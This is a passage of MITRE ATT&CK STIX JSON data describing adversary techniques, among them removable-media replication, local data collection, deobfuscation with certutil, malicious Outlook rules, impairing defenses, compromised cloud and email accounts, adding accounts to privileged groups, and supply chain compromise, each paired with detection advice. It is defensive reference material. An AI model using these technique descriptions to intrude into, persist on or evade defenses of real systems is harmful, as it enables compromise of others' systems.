Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"},{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_contributors":["Joas Antonio dos Santos, @C0d3Cr4zy"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Access","Process: Process Creation","Drive: Drive Creation","File: File Creation"],"x_mitre_system_requirements":["Removable media allowed, Autorun enabled or vulnerability present that allows for code execution"],"type":"attack-pattern","id":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","created":"2017-05-31T21:31:08.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1091","external_id":"T1091"},{"source_name":"Windows Malware Infecting Android","description":"Lucian Constantin. (2014, January 23). Windows malware tries to infect Android devices connected to PCs. Retrieved May 25, 2022.","url":"https://www.computerworld.com/article/2486903/windows-malware-tries-to-infect-android-devices-connected-to-pcs.html"},{"source_name":"iPhone Charging Cable Hack","description":"Zack Whittaker. (2019, August 12). This hacker’s iPhone charging cable can hijack your computer. Retrieved May 25, 2022.","url":"https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/"},{"source_name":"Exploiting Smartphone USB ","description":"Zhaohui Wang & Angelos Stavrou. (n.d.). Exploiting Smart-Phone USB Connectivity For Fun And Profit. Retrieved May 25, 2022.","url":"https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.226.3427&rep=rep1&type=pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-12T23:54:39.466Z","name":"Data from Local System","description":"Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["William Cain","Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor `show` commands that view configuration files. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.6","x_mitre_data_sources":["Process: OS API Execution","Script: Script Execution","Command: Command Execution","Process: Process Creation","File: File Access"],"x_mitre_system_requirements":["Privileges to access certain files and directories"],"type":"attack-pattern","id":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","created":"2017-05-31T21:30:20.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1005","external_id":"T1005"},{"source_name":"show_run_config_cmd_cisco","description":"Cisco. (2022, August 16). show running-config - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_protocols_through_showmon.html#wp2760878733"},{"source_name":"Mandiant APT41 Global Intrusion ","description":"Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.","url":"https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits"},{"source_name":"US-CERT-TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-14T19:28:18.334Z","name":"Deobfuscate/Decode Files or Information","description":"Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Matthew Demaske, Adaptforward","Red Canary"],"x_mitre_deprecated":false,"x_mitre_detection":"Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_version":"1.3","x_mitre_data_sources":["Process: Process Creation","Script: Script Execution","File: File Modification"],"x_mitre_defense_bypassed":["Anti-virus","Host Intrusion Prevention Systems","Signature-based Detection","Network Intrusion Detection System"],"type":"attack-pattern","id":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1140","external_id":"T1140"},{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"},{"source_name":"Malwarebytes Targeted Attack against Saudi Arabia","description":"Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.","url":"https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/"},{"source_name":"Carbon Black Obfuscation Sept 2016","description":"Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.","url":"https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:02:26.206Z","name":"Outlook Rules","description":"Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Microsoft Security"],"x_mitre_deprecated":false,"x_mitre_detection":"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Office Suite"],"x_mitre_version":"1.2","x_mitre_data_sources":["Process: Process Creation","Application Log: Application Log Content","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44","created":"2019-11-07T20:00:25.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1137/005","external_id":"T1137.005"},{"source_name":"Pfammatter - Hidden Inbox Rules","description":"Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.","url":"https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"},{"source_name":"Microsoft Detect Outlook Forms","description":"Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.","url":"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"},{"source_name":"SilentBreak Outlook Rules","description":"Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.","url":"https://silentbreaksecurity.com/malicious-outlook-rules/"},{"source_name":"SensePost NotRuler","description":"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.","url":"https://github.com/sensepost/notruler"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Impair Defenses","description":"Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation: Emotet shutdown)\n\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Jamie Williams (U ω U), PANW Unit 42","Liran Ravich, CardinalOps"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\n\nMonitor environment variables and APIs that can be leveraged to disable security measures.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","IaaS","Linux","macOS","Containers","Network","Identity Provider","Office Suite"],"x_mitre_version":"1.6","x_mitre_data_sources":["File: File Modification","Cloud Service: Cloud Service Disable","Firewall: Firewall Rule Modification","Command: Command Execution","Script: Script Execution","Process: Process Modification","Windows Registry: Windows Registry Key Deletion","Process: Process Termination","Service: Service Metadata","Cloud Service: Cloud Service Modification","User Account: User Account Modification","File: File Deletion","Sensor Health: Host Status","Process: OS API Execution","Process: Process Creation","Windows Registry: Windows Registry Key Modification","Driver: Driver Load","Firewall: Firewall Disable"],"x_mitre_defense_bypassed":["Anti-virus","Signature-based detection","Host intrusion prevention systems","File monitoring","Digital Certificate Validation","Host forensic analysis","Log analysis","Firewall"],"type":"attack-pattern","id":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","created":"2020-02-21T20:22:13.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1562","external_id":"T1562"},{"source_name":"Google Cloud Mandiant UNC3886 2024","description":" Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations"},{"source_name":"Emotet shutdown","description":"The DFIR Report. (2022, November 8). Emotet Strikes Again – LNK File Leads to Domain Wide Ransomware. Retrieved March 6, 2023.","url":"https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-16T21:26:36.312Z","name":"Cloud Accounts","description":"Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation: Netcraft SendGrid 2024) Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Francesco Bigarella"],"x_mitre_deprecated":false,"x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","type":"attack-pattern","id":"attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a","created":"2022-05-27T14:30:01.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1586/003","external_id":"T1586.003"},{"source_name":"Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022","description":"Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.","url":"https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"},{"source_name":"Awake Security C2 Cloud","description":"Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.","url":"https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"},{"source_name":"Netcraft SendGrid 2024","description":"Graham Edgecombe. (2024, February 7). Phishception – SendGrid is abused to host phishing attacks impersonating itself. Retrieved October 15, 2024.","url":"https://www.netcraft.com/blog/popular-email-platform-used-to-impersonate-itself/"},{"source_name":"MSTIC Nobelium Oct 2021","description":"Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-11T01:07:48.218Z","name":"Email Accounts","description":"Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Tristan Bennett, Seamless Intelligence","Bryan Onel"],"x_mitre_deprecated":false,"x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","type":"attack-pattern","id":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","created":"2020-10-01T01:20:53.104Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1586/002","external_id":"T1586.002"},{"source_name":"AnonHBGary","description":"Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.","url":"https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"},{"source_name":"Microsoft DEV-0537","description":"Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T14:32:08.926Z","name":"Additional Local or Domain Groups","description":"An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain.\n\nOn Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod)\n\nFor example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. \n\nIn Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Madhukar Raina (Senior Security Researcher - Hack The Box, UK)"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"1.0","x_mitre_data_sources":["User Account: User Account Modification"],"type":"attack-pattern","id":"attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291","created":"2024-08-05T20:49:49.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1098/007","external_id":"T1098.007"},{"source_name":"Linux Usermod","description":"Man7. (n.d.). Usermod. Retrieved August 5, 2024.","url":"https://www.man7.org/linux/man-pages/man8/usermod.8.html"},{"source_name":"Microsoft Net Group","description":"Microsoft. (2016, August 31). Net group. Retrieved August 5, 2024.","url":"https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754051(v=ws.11)"},{"source_name":"Microsoft Net Localgroup","description":"Microsoft. (2016, August 31). Net Localgroup. Retrieved August 5, 2024.","url":"https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc725622(v=ws.11)"},{"source_name":"Microsoft RDP Logons","description":"Microsoft. (2017, April 9). Allow log on through Remote Desktop Services. Retrieved August 5, 2024.","url":"https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/allow-log-on-through-remote-desktop-services"},{"source_name":"RootDSE AD Detection 2022","description":"Scarred Monk. (2022, May 6). Real-time detection scenarios in Active Directory environments. Retrieved August 5, 2024.","url":"https://rootdse.org/posts/monitoring-realtime-activedirectory-domain-scenarios"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-16T20:13:40.501Z","name":"Upload Malware","description":"Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Kobi Haimovich, CardinalOps","Menachem Goldstein"],"x_mitre_deprecated":false,"x_mitre_detection":"If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.2","x_mitre_data_sources":["Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","created":"2021-03-17T20:09:13.222Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1608/001","external_id":"T1608.001"},{"source_name":"Volexity Ocean Lotus November 2020","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"},{"source_name":"Talos IPFS 2022","description":"Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.","url":"https://blog.talosintelligence.com/ipfs-abuse/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-04T11:17:00.778Z","name":"Supply Chain Compromise","description":"Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_contributors":["Veeral Patel"],"x_mitre_deprecated":false,"x_mitre_detection":"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_version":"1.6","x_mitre_data_sources":["Sensor Health: Host Status","File: File 